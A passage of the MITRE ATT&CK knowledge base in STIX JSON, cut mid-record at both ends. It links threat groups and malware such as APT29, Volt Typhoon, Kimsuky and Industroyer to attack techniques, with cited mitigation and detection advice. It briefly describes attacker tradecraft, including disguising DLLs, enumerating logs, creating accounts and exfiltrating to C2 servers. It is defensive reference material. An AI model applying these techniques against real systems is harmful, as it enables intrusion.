Vulnerable","url":"https://seclists.org/fulldisclosure/2015/Dec/34","description":"Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."}],"modified":"2020-03-26T19:20:23.179Z","description":"Turn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System] to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000. Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged. (Citation: Executable Installers are Vulnerable)","relationship_type":"mitigates","source_ref":"course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808","target_ref":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6828b200-b067-4667-9a77-9e434a625eaf","created":"2021-04-16T21:33:50.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"},{"source_name":"SentinelOne NobleBaron June 2021","description":"Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.","url":"https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T19:38:30.252Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has renamed malicious DLLs with legitimate names to appear benign; they have also created an Azure AD certificate with a Common Name that matched the display name of the compromised service principal.(Citation: SentinelOne NobleBaron June 2021)(Citation: Mandiant APT29 Microsoft 365 2022)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--682b7ced-a03b-4403-a058-9bc627c62f16","type":"relationship","created":"2021-07-21T17:54:45.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-10-07T17:28:01.079Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has exfiltrated its collected data from the infected machine to the C2, sometimes using the MIME protocol.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--682dad6a-277f-46ae-8416-cba070ff5738","type":"relationship","created":"2021-08-18T19:43:01.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2021-08-18T19:43:01.213Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can perform a check to ensure that the operating system's keyboard and language settings are not set to Russian.(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--682eac15-9d0a-4dc6-8a0a-29f4e15e0696","type":"relationship","created":"2020-01-30T17:37:22.821Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-30T17:37:22.821Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6832f4b5-3f36-4def-9b97-d0228da33964","created":"2021-01-04T20:42:22.210Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604)’s data wiper component enumerates specific files on all the Windows drives.(Citation: ESET Industroyer)","modified":"2022-06-30T20:16:53.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68487d82-458b-4f45-b1c8-c6e4affaa226","created":"2017-05-31T21:33:27.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"DOJ APT10 Dec 2018","description":"United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.","url":"https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.624Z","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6848a6be-5571-4e88-b95d-45d9a11d4758","created":"2023-09-08T17:34:40.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:16:49.285Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used `wevtutil.exe` and the PowerShell command `Get-EventLog security` to enumerate Windows logs to search for successful logons.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--684b6701-559f-4ba9-a2b0-f79ed5683eb1","type":"relationship","created":"2020-05-15T15:36:44.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:28:38.481Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) can impersonate Windows services and antivirus products to avoid detection on compromised systems.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--684ee30a-a6c6-45c0-a592-1d77eaad6bb8","created":"2022-08-07T15:39:51.881Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AuTo Stealer](https://attack.mitre.org/software/S1029) can exfiltrate data over actor-controlled C2 servers via HTTP or TCP.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T16:53:04.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--684f1e70-9f35-4810-9477-133d2641bdbd","type":"relationship","created":"2020-02-19T20:36:33.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-22T20:20:14.964Z","description":"Ensure that local administrator accounts have complex, unique passwords across all systems on the network.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68501e6a-dba6-4a77-a711-99ca6918a2dd","created":"2024-09-21T07:21:23.560Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-21T07:21:23.560Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) deobfuscates embedded payloads.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6852e4b7-b1de-417a-b8db-370d04d8c072","created":"2022-03-15T20:02:43.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.413Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has created accounts with net user.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--685557c9-181e-4702-8866-40ddc524c118","created":"2022-09-15T17:43:21.532Z","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-15T17:43:21.532Z","description":"During [CostaRicto](https://attack.mitre.org/campaigns/C0004), threat actors used C2 servers managed through [Tor](https://attack.mitre.org/software/S0183).(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--685856c8-227b-41b3-841d-9a7be6389eb9","type":"relationship","created":"2019-09-13T13:21:50.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:25:18.185Z","description":"[Machete](https://attack.mitre.org/software/S0409) uses FTP for Command & Control.(Citation: ESET Machete July 2019)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--685a8409-db59-4ef3-b4de-786b87be8839","type":"relationship","created":"2020-05-11T18:14:38.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB RTM August 2019","url":"https://www.group-ib.com/blog/rtm","description":"Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020."}],"modified":"2020-05-12T22:13:50.412Z","description":"[RTM](https://attack.mitre.org/groups/G0048) has used a modified version of TeamViewer and Remote Utilities for remote access.(Citation: Group IB RTM August 2019)","relationship_type":"uses","source_ref":"intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--685da2a8-4205-4773-982b-5954393c70f8","type":"relationship","created":"2020-02-25T15:26:32.215Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-19T03:18:43.754Z","description":"Ensure all application component binaries are signed by the correct application developers.","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68602080-9968-4a36-9a5e-130343e61566","created":"2019-05-24T17:57:36.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureList Silence Nov 2017","description":"GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.","url":"https://securelist.com/the-silence/83009/"},{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."},{"source_name":"Group IB Silence Aug 2019","description":"Group-IB. (2019, August). Silence 2.0: Going Global. Retrieved May 5, 2020.","url":"https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf"},{"source_name":"Cyber Forensicator Silence Jan 2019","description":"Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.","url":"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.210Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has weaponized CHM files in their phishing campaigns.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Aug 2019)(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68650240-a1a6-424b-9711-1201d868305f","created":"2022-03-03T16:41:31.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Cyclops Blink March 2022","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022.","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html"},{"source_name":"NCSC Cyclops Blink February 2022","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022.","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-07T14:31:52.370Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can modify the Linux iptables firewall to enable C2 communication on network devices via a stored list of port numbers.(Citation: NCSC Cyclops Blink February 2022)(Citation: Trend Micro Cyclops Blink March 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68672a56-6b53-4fdd-a574-5a24bec1a330","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor)","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESF_filemonitor","description":"Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.","url":"https://objective-see.com/blog/blog_0x48.html"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--686d4ed4-4199-4517-b06f-0adad5ca4ae5","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--686d91dc-692b-48a0-829b-2556c6415f59","type":"relationship","created":"2020-12-06T23:49:08.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."},{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"modified":"2021-12-02T15:45:11.521Z","description":"(Citation: ESET Crutch December 2020)(Citation: Talos TinyTurla September 2021)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6874b50a-10e8-4036-bb2d-aabab35ec75b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/","description":"Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.","source_name":"Arbor Musical Chairs Feb 2018"}],"modified":"2019-04-16T20:26:40.871Z","description":"A [gh0st RAT](https://attack.mitre.org/software/S0032) variant has used DLL side-loading.(Citation: Arbor Musical Chairs Feb 2018)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--687a617d-c428-4853-b707-6f4b2f298112","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--687aeb21-f256-44bd-a5c1-a47d9122a8f4","created":"2024-09-26T17:57:37.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ignacio Udev research 2024","description":"Eder P. Ignacio. (2024, February 21). Leveraging Linux udev for persistence. Retrieved September 26, 2024.","url":"https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/"},{"source_name":"Elastic Linux Persistence 2024","description":"Ruben Groenewoud. (2024, August 29). Linux Detection Engineering - A Sequel on Persistence Mechanisms. Retrieved October 16, 2024.","url":"https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-17T20:18:07.622Z","description":"Monitor the creation and modification of files in the directories where udev rules are located: `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/lib/udev/rules.d/`, `/usr/lib/udev/rules.d/`, and `/usr/local/lib/udev/rules.d/`. Analyze and monitor changes to `RUN` assignment key.(Citation: Ignacio Udev research 2024)(Citation: Elastic Linux Persistence 2024)","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--f4c3f644-ab33-433d-8648-75cc03a95792","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6881db09-7aba-4b60-8921-c9030a739cdf","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Also, monitor file creation for programs that are named 